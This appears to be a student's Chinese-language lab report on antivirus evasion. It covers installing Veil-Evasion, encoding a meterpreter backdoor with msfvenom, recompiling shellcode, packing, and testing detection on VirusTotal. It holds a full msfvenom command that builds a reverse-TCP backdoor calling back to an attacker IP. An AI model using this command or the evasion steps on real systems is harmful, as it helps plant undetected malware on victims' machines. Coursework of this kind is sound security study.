• 实验三 免杀实践 赵文昊20155104


    实验三 病毒免杀技术实践

    环境搭建

    在做实验之前试过好多方法在Kali中下载veil-evasion这款后门加壳的软件,最后在度娘的帮助下终于装上了,在这里给大家提供一个比较有效的安装方法(注:开发源加上中科大和阿里云等等)

    apt-get clean

    apt-get update

    apt-get upgrade -y

    apt-get install veil-evasion

    veil-evasion

    在安装Veil-evasion的过程中可能会报错,但只要安装程序不退出就不要着急,有些错误是不要紧的。在跳出安装界面的时候只需要不停地Next即可,界面也会出现很多乱码的字符所以就不要尝试读懂了-_-||
    过程时间很长,推荐大家提前准备好实验软件,方便跟上老师的脚步。

    实验要求和原理

    这边是自己上理论课的收获,可能有错……大概吧……
    所谓免杀,就是避免杀毒软件检测出我们传送的带病毒文件,然后,这个文件就可以不那么尴尬地被杀毒软件立刻Kill掉,是提升实用性的关键一步(希望我不会用到他)。
    大部分杀毒软件是依赖特征码检测,所以最简单的免杀方式自然就是让这些特征码隐藏起来,等到我们执行它的时候,程序的本来面目再暴露出来。如果我们只有可执行文件,那我们需要给这个文件加壳。如果我们有shellcode,我们可以用encode编码或者payload重新编译它。如果我们有源码,那就简单很多,我们直接用其他语言重写再编译,不同编程语言所呈现的带病毒文件差别会非常大,特征码也会消失,这样也可以达到目的。
    我打算就用实验二中那个后门软件开刀,尝试一下我们制作的免杀是否有效果。
    检测方式就是我们找到的两个网站,今后有什么不确定的文件也可以丢进去检测一下,网站会给出一个比较可信的答复。
    https://www.virustotal.com/
    http://www.virscan.org/
    后面给大家展示效果。

    实验步骤

    1 先用一下msfvenom编码器

    我们先把上个实验做出来的后门扔进检测网站试一下。
    很尴尬,这文件刚放进Windows,就被腾讯管家关小黑屋了。
    从小黑屋放出来就可以了,我们分别放进两个网站检查一下,看起来杀毒软件还是比较厉害的(记住这几个没检测出来的,以后还是不用了)。

    接下来,开始做免杀,让我们看一下效果怎么样。
    编码器,让我们多编几次码,结果自然是没什么变化的。。。

    msfvenom -p windows/meterpreter/reverse_tcp -x ./20155104.exe -i 5 -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.43.74 LPORT=5104 -f exe > 20155104_backdoor.exe

    2 试试Veil-evasion

    Veil-evasion是一个免杀平台,让我们试一下
    我使用的版本是3.1.1,跟旧版本可能有一些不同的地方。
    打开Veil-evasion,可以查看已加载的payload,有41个!
    选择其中一个开始制作!我选的跟教程一样是21号。选好后是这样的!

    在这里要设置一些信息,我把LocalHost设置成了自己的IP地址,并且把LocalPort设置成自己的学号。

    最后给自己的程序起一个名字,然后完成,如果显示这样一个界面,我们的成品大概就制作好了!

    在这个界面下依然会显示做好的文件路径,一定要记得复制一下!不然一会会头疼的。
    好了,看一下,把东西拿出来,再放到网站上试一下。

    可以看出来这个免杀是有那么些效果的。。。(虽然还是有不少能检测出来)

    4 shellcode再编译,这个手工操作就有点费劲了

    先生成一个c语言格式的shellcode

    再编一个C语言编程的程序,简单一点用到这段生成的字符串即可,不用想的那么复杂。(因代码具有攻击性所以暂不显示了,有兴趣的自己摸索制作)

    扔进网站,查得这样的结果,比预想的还要更好一些哦!

    5 加壳

    这段操作起来比较简单,需要我们提前准备一个有病毒的可执行文件(这里就决定是刚才生成的那个文件啦!)

    老规矩,扔进网站,检查一下!

    看得出来,这个效果不是很好,简单的加壳并不能给免杀带来太多的好处。

    实验感想

    免杀这个实验是提升实用性很关键的一堂课,这使我们攻击一个普遍的正常使用的机器成为了可能,虽然还没有达到无法防御的地步,但是经过一些诱导后,普遍的机器已经可以被我们入侵。但是,要想真正达到职业黑客的水平,这些还是不够的,我们目前无法让这病毒自启动,并将我们的操作提升到一个管理员或者说是root权限上,还有很多需要学习的地方。
    杀毒软件的运作机制是我们考虑如何入侵的一个重要信息,我们要充分了解杀软才能避开检测,矛和盾是相互促进,必须相互了解才可以提高,这个实验也同时告诉了我们怎么更有效地进行防御。

  • 相关阅读:
    数组相关操作
    控制结构和函数
    调用函数和方法
    常用类型、算术和操作符重载
    函数式 CSS (FCSS)
    Javascript 封装问题
    认识javascript中的作用域和上下文
    Javascript 继承-原型的陷阱
    解耦你的HTML,CSS和JAVASRIPT
    网格如此简单
  • 原文地址:https://www.cnblogs.com/Qujinkongyuyin/p/8735292.html
Copyright © 2020-2023  润新知